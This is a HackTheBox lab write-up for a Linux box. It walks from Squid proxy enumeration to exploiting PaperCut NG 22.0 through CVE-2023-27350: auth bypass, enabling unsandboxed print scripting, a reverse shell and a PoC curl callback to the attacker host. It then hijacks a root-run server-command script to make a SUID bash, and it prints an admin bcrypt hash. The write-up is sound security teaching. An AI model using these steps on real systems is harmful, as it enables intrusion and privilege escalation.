        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/1976319283287200242">07 Oct 2025</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">07 Oct 2025</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Linux.webp" /><img src="/icons/Linux.png" alt="Linux" /></picture>
          Linux
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      
      <div class="htb-card-row htb-card-red">
        <span class="htb-card-label">Non-competitive release: no bloods</span>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creator</span>
        
<a href="https://app.hackthebox.com/users/13569" target="_blank" rel="noopener"><img alt="xct" src="https://www.hackthebox.com/badge/image/13569" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> xct</span></a><br />
      </div>
    </div>

    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds two open TCP ports, SSH (22) and Squid (3128):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>nmap <span class="nt">-p-</span> <span class="nt">-vvv</span> <span class="nt">--min-rate</span> 10000 10.129.238.16
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-27 02:37 UTC
...[snip]...
Nmap scan report for 10.129.238.16
Host is up, received echo-reply ttl 63 (0.021s latency).
Scanned at 2026-01-27 02:37:36 UTC for 13s
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
3128/tcp open  squid-http syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.38 seconds
           Raw packets sent: 131082 (5.768MB) | Rcvd: 13 (556B)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>nmap <span class="nt">-p</span> 22,3128 <span class="nt">-sCV</span> 10.129.238.16
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-27 02:38 UTC
Nmap scan report for 10.129.238.16
Host is up (0.022s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 83:b2:62:7d:9c:9c:1d:1c:43:8c:e3:e3:6a:49:f0:a7 (ECDSA)
|_  256 cf:48:f5:f0:a6:c1:f5:cb:f8:65:18:95:43:b4:e7:e4 (ED25519)
3128/tcp open  http-proxy Squid http proxy 5.9
|_http-server-header: squid/5.9
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.73 seconds
</span></code></pre></div></div>

<p>Based on the <a href="/cheatsheets/os#ubuntu">OpenSSH version</a>, the host is likely running Ubuntu 22.04 jammy LTS.</p>

<p>Both ports show a TTL of 63, which matches the <a href="/cheatsheets/os#os-identification">expected TTL</a> for Linux one hop away.</p>

<h3 id="squid---tcp-3128">Squid - TCP 3128</h3>

<h4 id="general-enumeration">General Enumeration</h4>

<p><a href="https://www.squid-cache.org/">Squid Proxy</a> is an HTTP proxy. It can be configured with or without authentication. If I try to go to it directly in a web browser, it returns an errors page:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260126222417442.webp" />
    <img loading="lazy" src="/img/image-20260126222417442.png" alt="image-20260126222417442" class="include_image " />
</picture>

<p>The version is 5.9 according to the footer.</p>

<h4 id="proxied-port-scan">Proxied Port Scan</h4>

<p>HackTricks has a <a href="https://book.hacktricks.wiki/en/network-services-pentesting/3128-pentesting-squid.html">page on pentesting Squid</a> that suggests <a href="https://github.com/aancw/spose">Spose</a> as a way to scan through a Squid proxy. I’ll give it a run:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>git clone https://github.com/aancw/spose.git
<span class="go">Cloning into 'spose'...
remote: Enumerating objects: 34, done.
remote: Counting objects: 100% (23/23), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 34 (delta 11), reused 17 (delta 6), pack-reused 11 (from 1)
Receiving objects: 100% (34/34), 7.89 KiB | 2.63 MiB/s, done.
Resolving deltas: 100% (11/11), done.
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cd </span>spose/
<span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">__init__.py  LICENSE  README.md  requirements.txt  spose.py  url_request.py
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv add <span class="nt">--script</span> spose.py <span class="nt">-r</span> requirements.txt 
<span class="go">Updated `spose.py`
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run spose.py 
<span class="go">Installed 1 package in 5ms
usage: spose.py [-h] --proxy PROXY --target TARGET [--ports PORTS] [--allports]

Squid Pivoting Open Port Scanner

options:
  -h, --help       show this help message and exit
  --proxy PROXY    Define proxy address URL (http://x.x.x.x:3128)
  --target TARGET  Define target IP behind proxy
  --ports PORTS    [Optional] Define target ports behind proxy (comma-separated)
  --allports       [Optional] Scan all 65535 TCP ports behind proxy
</span></code></pre></div></div>

<p>I’ll have it scan all ports, though that will take a while to complete. It prints findings as it finds them, so I don’t have to wait for it to finish to see the next step:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run spose.py <span class="nt">--proxy</span> http://10.129.238.16:3128 <span class="nt">--target</span> localhost <span class="nt">--allports</span>
<span class="go">Scanning all 65,535 TCP ports
Using proxy address http://10.129.238.16:3128
localhost:22 seems OPEN
localhost:9191 seems OPEN
localhost:9192 seems OPEN
localhost:9195 seems OPEN
</span></code></pre></div></div>

<h4 id="configure-tools">Configure Tools</h4>

<p>There are two ways I’ll want to interact through the Squid Proxy. From my command line, I’ll use <code class="language-plaintext highlighter-rouge">proxychains</code> but updating the <code class="language-plaintext highlighter-rouge">ProxyList</code> at the bottom of <code class="language-plaintext highlighter-rouge">/etc/proxychains.conf</code> to:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ProxyList]
http    10.129.238.16   3128
</code></pre></div></div>

<p>Now, for example, I can use <code class="language-plaintext highlighter-rouge">curl</code> to fetch TCP 9191:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains curl http://127.0.0.1:9191 <span class="nt">-v</span>
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
*   Trying 127.0.0.1:9191...
[proxychains] Strict chain  ...  10.129.238.16:3128  ...  127.0.0.1:9191  ...  OK
* Connected to 127.0.0.1 (10.129.238.16) port 9191
&gt; GET / HTTP/1.1
&gt; Host: 127.0.0.1:9191
&gt; User-Agent: curl/8.5.0
&gt; Accept: */*
&gt; 
&lt; HTTP/1.1 302 Found
&lt; Date: Tue, 27 Jan 2026 03:33:21 GMT
&lt; Location: http://127.0.0.1:9191/user
&lt; Content-Length: 0
&lt; 
* Connection #0 to host 127.0.0.1 left intact
</span></code></pre></div></div>

<p>I already have my <a href="https://www.youtube.com/watch?v=iTm33Miymdg">Firefox set up with FoxyProxy</a> to proxy all my CTF traffic through Burp. I’ll go into Burp –&gt; Proxy –&gt; Settings –&gt; Network –&gt; Connections –&gt; Upstream proxy servers and add this Squid instance:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260126223631062.webp" />
    <img loading="lazy" src="/img/image-20260126223631062.png" alt="image-20260126223631062" class="include_image " />
</picture>

<p>Now if I load <code class="language-plaintext highlighter-rouge">http://127.0.0.1:9191</code>, it loads the page.</p>

<h3 id="papercut---tcp-9191-9192-9195">PaperCut - TCP 9191, 9192, 9195</h3>

<p>Just from these port numbers Claude calls out <a href="https://www.papercut.com/">PaperCut</a>:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260126223837664.webp" />
    <img loading="lazy" src="/img/image-20260126223837664.png" alt="image-20260126223837664" class="include_image " />
</picture>

<p>That matches what’s in the <a href="https://www.papercut.com/help/manuals/ng-mf/common/sys-security-options-change-ports/">PaperCut docs</a>:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260126223916823.webp" />
    <img loading="lazy" src="/img/image-20260126223916823.png" alt="image-20260126223916823" class="include_image " />
</picture>

<p>Visiting the page also redirects to the PaperCutNG login form:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260126223952573.webp" />
    <img loading="lazy" src="/img/image-20260126223952573.png" alt="image-20260126223952573" class="include_image " />
</picture>

<p>The version is 22.0. I don’t see any way to register, so there isn’t much I can do here to explore the app further without creds.</p>

<h2 id="shell-as-papercut">Shell as papercut</h2>

<h3 id="identify-cves">Identify CVEs</h3>

<p>Searching for “papercut ng 22.0 cve” returns references to a couple vulnerabilities:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260127082603264.webp" />
    <img loading="lazy" src="/img/image-20260127082603264.png" alt="image-20260127082603264" class="include_image " />
</picture>

<p><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-2533">CVE-2023-2533</a> is a CSRF where getting the admin to click a malicious link can lead to RCE. I don’t see a way to interact with the admin.</p>

<p><a href="https://nvd.nist.gov/vuln/detail/cve-2023-27350">CVE-2023-27350</a> is much more interesting:</p>

<blockquote>
  <p>This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SetupCompleted class. The issue results from improper access control. An attacker can leverage this vulnerability to bypass authentication and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-18987.</p>
</blockquote>

<p>This is unauthenticated RCE, with a CVSS score of 9.8 / 10.</p>

<h3 id="cve-2023-27350">CVE-2023-27350</h3>

<h4 id="background">Background</h4>

<p>The actual vulnerability with CVE-2023-27350 is an authentication bypass vulnerability. Once on the main page, leveraging that access to get RCE by abusing intended features of the application is not hard. Juniper Networking has a <a href="https://blogs.juniper.net/en-us/threat-research/cve-2023-27350-papercut-ng-and-mf-remote-code-execution-vulnerability">nice blog post</a> breaking down the details as well as how exploitation became incredibly common with ransomware groups following its release.</p>

<p>The issue is in the setup process, which offers a button to login once it’s complete. This button manages to bypass authentication checks and provides a valid session.</p>

<p>Once inside, the user can disable the sandbox protections and enable scripting, allowing for code execution.</p>

<h4 id="manual-poc">Manual POC</h4>

<p>To show this, I’ll visit <code class="language-plaintext highlighter-rouge">http://127.0.0.1:9191/app?service=page/SetupCompleted</code> (through the Squid proxy):</p>

<div style="position: relative; min-height: 500px;">
    <picture>
        <source type="image/webp" srcset="/img/image-20260127085029325.webp" />
        <img loading="lazy" src="/img/image-20260127085029325.png" alt="image-20260127085029325" style="max-height: 500px; object-fit: cover; object-position: top; width: -webkit-fill-available; mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px)); -webkit-mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px));" class="include_image " />
    </picture>
    <a href="javascript:void(0)" onclick="click_expand_image(event)" style="position: absolute; bottom: 35px; right: 15px;" title="Click to expand for full content"><img src="/icons/expand.png" alt="expand" class="expand-contract" /></a>
</div>

<p>Now on clicking login, I’m taken to the authenticated dashboard:</p>

<div style="position: relative; min-height: 500px;">
    <picture>
        <source type="image/webp" srcset="/img/image-20260127085107959.webp" />
        <img loading="lazy" src="/img/image-20260127085107959.png" alt="image-20260127085107959" style="max-height: 500px; object-fit: cover; object-position: top; width: -webkit-fill-available; mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px)); -webkit-mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px));" class="include_image " />
    </picture>
    <a href="javascript:void(0)" onclick="click_expand_image(event)" style="position: absolute; bottom: 35px; right: 15px;" title="Click to expand for full content"><img src="/icons/expand.png" alt="expand" class="expand-contract" /></a>
</div>

<p>A common way to get code execution from Papercut is to enable print scripting. In Options –&gt; Config Editor I’ll filter on “script” to get the two options I need to check:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260127085340789.webp" />
    <img loading="lazy" src="/img/image-20260127085340789.png" alt="image-20260127085340789" class="include_image " />
</picture>

<p>I’ve updated both of these to enable scripting and disable the sandbox.</p>

<p>Now under Printers, there’s one printer:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260127090017453.webp" />
    <img loading="lazy" src="/img/image-20260127090017453.png" alt="image-20260127090017453" class="include_image " />
</picture>

<p>Clicking on it, there’s a “Scripting” tab:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260127090037487.webp" />
    <img loading="lazy" src="/img/image-20260127090037487.png" alt="image-20260127090037487" class="include_image " />
</picture>

<p>If I try to visit this tab before enabling scripting, it shows:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260127091430603.webp" />
    <img loading="lazy" src="/img/image-20260127091430603.png" alt="image-20260127091430603" class="include_image " />
</picture>

<p>With scripting enabled:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260127091510748.webp" />
    <img loading="lazy" src="/img/image-20260127091510748.png" alt="image-20260127091510748" class="include_image " />
</picture>

<p>I’ll check the “Enable print script” box, and then add to the code:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260127190155070.webp" />
    <img loading="lazy" src="/img/image-20260127190155070.png" alt="image-20260127190155070" class="include_image " />
</picture>

<p>If the <code class="language-plaintext highlighter-rouge">printJobHook</code> function isn’t present, it will throw an error. I could put code inside it, but then it won’t run until a job is printed. By putting it outside the function, it will run when the function is saved. On clicking Apply at the bottom of the page, it runs:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>tcpdump <span class="nt">-ni</span> tun0 icmp
<span class="go">tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:01:01.885767 IP 10.129.238.16 &gt; 10.10.14.16: ICMP echo request, id 2, seq 1, length 64
00:01:01.885791 IP 10.10.14.16 &gt; 10.129.238.16: ICMP echo reply, id 2, seq 1, length 64
</span></code></pre></div></div>

<h4 id="shell">Shell</h4>

<p>I’ll switch the <code class="language-plaintext highlighter-rouge">ping</code> to a <a href="https://www.youtube.com/watch?v=OjkVep2EIlw">bash reverse shell</a>:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260127191639966.webp" />
    <img loading="lazy" src="/img/image-20260127191639966.png" alt="image-20260127191639966" class="include_image " />
</picture>

<p>On hitting Apply, I get a shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.238.16 56382
bash: cannot set terminal process group (699): Inappropriate ioctl for device
bash: no job control in this shell
</span><span class="gp">papercut@bamboo:~/server$</span><span class="w">
</span></code></pre></div></div>

<p>I’ll upgrade the shell using the <a href="https://www.youtube.com/watch?v=DqE6DxqJg8Q">standard trick</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">papercut@bamboo:~/server$</span><span class="w"> </span>script /dev/null <span class="nt">-c</span> bash
<span class="go">script /dev/null -c bash
Script started, output log file is '/dev/null'.
</span><span class="gp">papercut@bamboo:~/server$</span><span class="w"> </span>^Z
<span class="go">[1]+  Stopped                 nc -lnvp 443
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">stty </span>raw <span class="nt">-echo</span><span class="p">;</span> <span class="nb">fg</span>
<span class="go">nc -lnvp 443
            reset
reset: unknown terminal type unknown
Terminal type? screen
</span><span class="gp">papercut@bamboo:~/server$</span><span class="w"> 
</span></code></pre></div></div>

<p>And grab <code class="language-plaintext highlighter-rouge">user.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">papercut@bamboo:~$</span><span class="w"> </span><span class="nb">cat </span>user.txt
<span class="go">57510b56************************
</span></code></pre></div></div>

<h4 id="automated">Automated</h4>

<p>Rather than do the entire exploit chain manually, there are POC scripts out there (like <a href="https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py">this one from horizon3ai</a>) that will do all this in one step:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains uv run <span class="nt">--with</span> requests CVE-2023-27350.py <span class="nt">-u</span> http://127.0.0.1:9191 <span class="nt">-c</span> <span class="s1">'curl http://10.10.14.16/fromPOC'</span>
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  10.129.238.16:3128  ...  127.0.0.1:9191  ...  OK
[*] Papercut instance is vulnerable! Obtained valid JSESSIONID
[*] Updating print-and-device.script.enabled to Y
[*] Updating print.script.sandboxed to N
[*] Prepparing to execute...
[+] Executed successfully!
[*] Updating print-and-device.script.enabled to N
[*] Updating print.script.sandboxed to Y
</span></code></pre></div></div>

<p>In this case, I had it run <code class="language-plaintext highlighter-rouge">curl</code>, and there’s a hit at my webserver:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">10.129.238.16 - - [28/Jan/2026 00:20:26] code 404, message File not found
10.129.238.16 - - [28/Jan/2026 00:20:26] "GET /fromPOC HTTP/1.1" 404 -
</span></code></pre></div></div>

<p>The way this script is set up won’t handle commands with pipes or redirects, so I’ll have to use one command to upload a file with a reverse shell, and another run to <code class="language-plaintext highlighter-rouge">bash &lt;that file&gt;</code>.</p>

<h2 id="shell-as-root">Shell as root</h2>

<h3 id="enumeration">Enumeration</h3>

<h4 id="users">Users</h4>

<p>The papercut user’s home directory is pretty empty other than the PaperCut install:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">papercut@bamboo:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 324
drwxr-xr-x  8 papercut papercut   4096 Sep 30 16:30 .
drwxr-xr-x  4 root     root       4096 May 26  2023 ..
lrwxrwxrwx  1 root     root          9 Sep 30 16:30 .bash_history -&gt; /dev/null
-rw-r--r--  1 papercut papercut    220 May 26  2023 .bash_logout
-rw-rw-r--  1 papercut papercut     74 May 26  2023 .bash_profile
-rw-r--r--  1 papercut papercut   3771 May 26  2023 .bashrc
-rw-r--r--  1 papercut papercut    102 Sep 29  2022 .install-config
drwxrwxr-x  3 papercut papercut   4096 May 26  2023 .local
-rw-r--r--  1 papercut papercut    881 May 26  2023 .profile
-rwxr-xr-x  1 papercut papercut  50569 Sep 29  2022 LICENCE.TXT
-rwxr-xr-x  1 papercut papercut   1537 Sep 29  2022 README-LINUX.TXT
-rwxr-xr-x  1 papercut papercut 212715 Sep 29  2022 THIRDPARTYLICENSEREADME.TXT
drwxr-xr-x  5 papercut papercut   4096 May 26  2023 client
lrwxrwxrwx  1 papercut papercut     24 May 26  2023 docs -&gt; server/data/content/help
drwxr-xr-x  9 papercut papercut   4096 May 26  2023 providers
drwxr-xr-x  6 papercut papercut   4096 May 26  2023 release
drwxr-xr-x  5 papercut papercut   4096 May 26  2023 runtime
drwxr-xr-x 13 papercut papercut   4096 May 26  2023 server
-rwxr-xr-x  1 papercut papercut   3099 Sep 29  2022 uninstall
-rw-r-----  1 root     papercut     33 Jan 27 23:51 user.txt
</span></code></pre></div></div>

<p>Trying to list <code class="language-plaintext highlighter-rouge">sudo</code> rules requires a password, which I don’t have:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">papercut@bamboo:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">[sudo] password for papercut:
</span></code></pre></div></div>

<p>There is an admin password hash in the <code class="language-plaintext highlighter-rouge">server.properties</code> file:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="200"><div class="highlight"><pre class="highlight"><code><span class="gp">papercut@bamboo:~/server$ </span><span class="nb">cat </span>server.properties | <span class="nb">grep</span> <span class="nt">-v</span> <span class="s1">'#'</span> | <span class="nb">grep</span> <span class="nb">.</span>
<span class="go">admin.username=admin                                               
admin.password=HASH\:$2a$10$I9n7kuIU2a0ODXhCfc3Z4e0h4G69KaFgDdksemRoNGrQf2Hu.4Xvm
server.enable-http-on-port-80=N                                    
server.enable-https-on-port-443=N                           
server.port=9191          
server.ssl.port=9192          
server.ssl.high-security-port=9195
require-cookies-for-login=Y
server.cookies.session.same-site= 
server.ssl.hsts-enabled=N
server.ssl.hsts-max-age-secs=31536000
server.ssl.hsts-include-sub-domains=Y
server.log-web-requests=N
database.type=Internal
database.driver=
database.url=
database.username=
database.password=
central-reports.enabled=Y
central-reports.database.local.include=Y
central-reports.database.local.label=Local Site
central-reports.require-all-databases-online=Y
temp-folder-cleanup.font-files.min-age-in-days=60
</span></code></pre></div></div>

<p>I’ll feed it to <code class="language-plaintext highlighter-rouge">hashcat</code>, but it doesn’t crack with <code class="language-plaintext highlighter-rouge">rockyou.txt</code>.</p>

<p>There is one other user with a home directory in <code class="language-plaintext highlighter-rouge">/home</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">papercut@bamboo:/home$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">papercut  ubuntu
</span><span class="gp">papercut@bamboo:/home$</span><span class="w"> </span><span class="nb">ls </span>ubuntu/
<span class="go">ls: cannot open directory 'ubuntu/': Permission denied
</span></code></pre></div></div>

<p>That matches the users with shells configured in <code class="language-plaintext highlighter-rouge">passwd</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">papercut@bamboo:~$</span><span class="w"> </span><span class="nb">cat</span> /etc/passwd | <span class="nb">grep</span> <span class="s1">'sh$'</span>
<span class="go">root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
papercut:x:1001:1001:,,,:/home/papercut:/bin/bash
</span></code></pre></div></div>

<h4 id="papercut-binaries">Papercut Binaries</h4>

<p>In <code class="language-plaintext highlighter-rouge">/home/papercut/server/bin/linux-x64</code> there are a bunch of binaries:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">papercut@bamboo:~/server/bin/linux-x64$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span>
<span class="go">total 13116
-rwxr-xr-x 1 papercut papercut   111027 Sep 29  2022 app-monitor
-rw-r--r-- 1 papercut papercut     5514 Sep 29  2022 app-monitor.conf
-rwxr-xr-x 1 papercut papercut    16658 Sep 29  2022 app-server
-r-s--x--x 1 root     root        11071 Sep 29  2022 authpam
-rwxr-xr-x 1 papercut papercut     2456 Sep 29  2022 authsamba
-rwxr-xr-x 1 papercut papercut      479 Sep 29  2022 create-client-config-file
-rwxr-xr-x 1 papercut papercut      468 Sep 29  2022 create-ssl-keystore
-rwxr-xr-x 1 papercut papercut      763 Sep 29  2022 db-tools
-rwxr-xr-x 1 papercut papercut      501 Sep 29  2022 direct-print-monitor-config-initializer
-rwxr-xr-x 1 papercut papercut     2306 Sep 29  2022 gather-ldap-settings
drwxr-xr-x 2 papercut papercut     4096 May 26  2023 lib
-rwxr-xr-x 1 papercut papercut   493309 Sep 29  2022 pc-pdl-to-image
-rwxr-xr-x 1 papercut papercut 12689408 Sep 29  2022 pc-split-scan
-rwxr-xr-x 1 papercut papercut     9558 Sep 29  2022 pc-udp-redirect
-rwxr-xr-x 1 papercut papercut     7561 Sep 29  2022 roottasks
-rwxr-xr-x 1 papercut papercut     7777 Sep 29  2022 sambauserdir
-rwxr-xr-x 1 papercut papercut      493 Sep 29  2022 server-command
-rwxr-xr-x 1 papercut papercut     2253 Sep 29  2022 setperms
-rwxr-xr-x 1 papercut papercut      286 Sep 29  2022 start-server
-rwxr-xr-x 1 papercut papercut    11108 Sep 29  2022 stduserdir
-rwxr-xr-x 1 papercut papercut      279 Sep 29  2022 stop-server
-rwxr-xr-x 1 papercut papercut      480 Sep 29  2022 upgrade-server-configuration
</span></code></pre></div></div>

<p>These are run by the OS when some action taken on the webserver needs to do something on the host. With printers, a lot of times this will have to be done with escalated privileges.</p>

<p>I’ll upload <a href="https://github.com/DominicBreuker/pspy">pspy</a> to the host and give it a run:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">papercut@bamboo:/dev/shm$</span><span class="w"> </span>wget 10.10.14.16/pspy64 
<span class="go">--2026-01-28 00:40:54--  http://10.10.14.16/pspy64
Connecting to 10.10.14.16:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64              100%[===================&gt;]   2.96M  6.15MB/s    in 0.5s    

2026-01-28 00:40:55 (6.15 MB/s) - ‘pspy64’ saved [3104768/3104768]
</span><span class="gp">papercut@bamboo:/dev/shm$</span><span class="w"> </span><span class="nb">chmod</span> +x pspy64
<span class="gp">papercut@bamboo:/dev/shm$</span><span class="w"> </span>./pspy64
<span class="go">pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
...[snip]...
</span></code></pre></div></div>

<p>There’s nothing interesting happening on a cron. Exploring all the settings on the website, eventually I’ll find something interesting. Under “Enable Printing”, I’ll click the little “&lt;” at the right side:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260127195002942.webp" />
    <img loading="lazy" src="/img/image-20260127195002942.png" alt="image-20260127195002942" class="include_image " />
</picture>

<p>That pops out a menu:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260127195040572.webp" />
    <img loading="lazy" src="/img/image-20260127195040572.png" alt="image-20260127195040572" class="include_image " />
</picture>

<p>I’ll click “Import BYOD-friendly print queues”:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260127195125310.webp" />
    <img loading="lazy" src="/img/image-20260127195125310.png" alt="image-20260127195125310" class="include_image " />
</picture>

<p>I’ll click Next:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260127195143509.webp" />
    <img loading="lazy" src="/img/image-20260127195143509.png" alt="image-20260127195143509" class="include_image " />
</picture>

<p>And finally “Start Importing Mobility Print printers”:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260127195210154.webp" />
    <img loading="lazy" src="/img/image-20260127195210154.png" alt="image-20260127195210154" class="include_image " />
</picture>

<p>It doesn’t find anything to add, but there’s an interesting set of lines in <code class="language-plaintext highlighter-rouge">pspy</code>:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">2026/01/28 00:47:16 CMD: UID=0     PID=10219  | /bin/sh /home/papercut/server/bin/linux-x64/server-command get-config health.api.key   
</span></code></pre></div></div>

<p>That’s root running <code class="language-plaintext highlighter-rouge">server-command</code> from the papercut user’s home directory.</p>

<p>Pushing the “Refresh servers” button on the resulting page runs it again:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260127195437658.webp" />
    <img loading="lazy" src="/img/image-20260127195437658.png" alt="image-20260127195437658" class="include_image " />
</picture>

<h3 id="binary-hijack">Binary Hijack</h3>

<p>To exploit this is simple. papercut controls that directory and binary:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">papercut@bamboo:~/server/bin/linux-x64$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> server-command 
<span class="go">-rwxr-xr-x 1 papercut papercut 493 Sep 29  2022 server-command
</span><span class="gp">papercut@bamboo:~/server/bin/linux-x64$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-ld</span> <span class="nb">.</span>
<span class="go">drwxr-xr-x 3 papercut papercut 4096 May 26  2023 .
</span></code></pre></div></div>

<p>I’ll move the script, and create my own:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">papercut@bamboo:~/server/bin/linux-x64$</span><span class="w"> </span><span class="nb">mv </span>server-command server-command.bk
<span class="gp">papercut@bamboo:~/server/bin/linux-x64$</span><span class="w"> </span><span class="nb">echo</span> <span class="nt">-e</span> <span class="s1">'#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 6777 /tmp/0xdf'</span> | <span class="nb">tee </span>server-command
<span class="c">#!/bin/bash
</span><span class="go">
cp /bin/bash /tmp/0xdf
chown root:root /tmp/0xdf
chmod 6777 /tmp/0xdf
</span><span class="gp">papercut@bamboo:~/server/bin/linux-x64$</span><span class="w"> </span><span class="nb">chmod</span> +x server-command
</code></pre></div></div>

<p>Now I hit “Refresh servers”, and the <code class="language-plaintext highlighter-rouge">0xdf</code> binary exists in <code class="language-plaintext highlighter-rouge">/tmp</code> and is SetUID:</p>

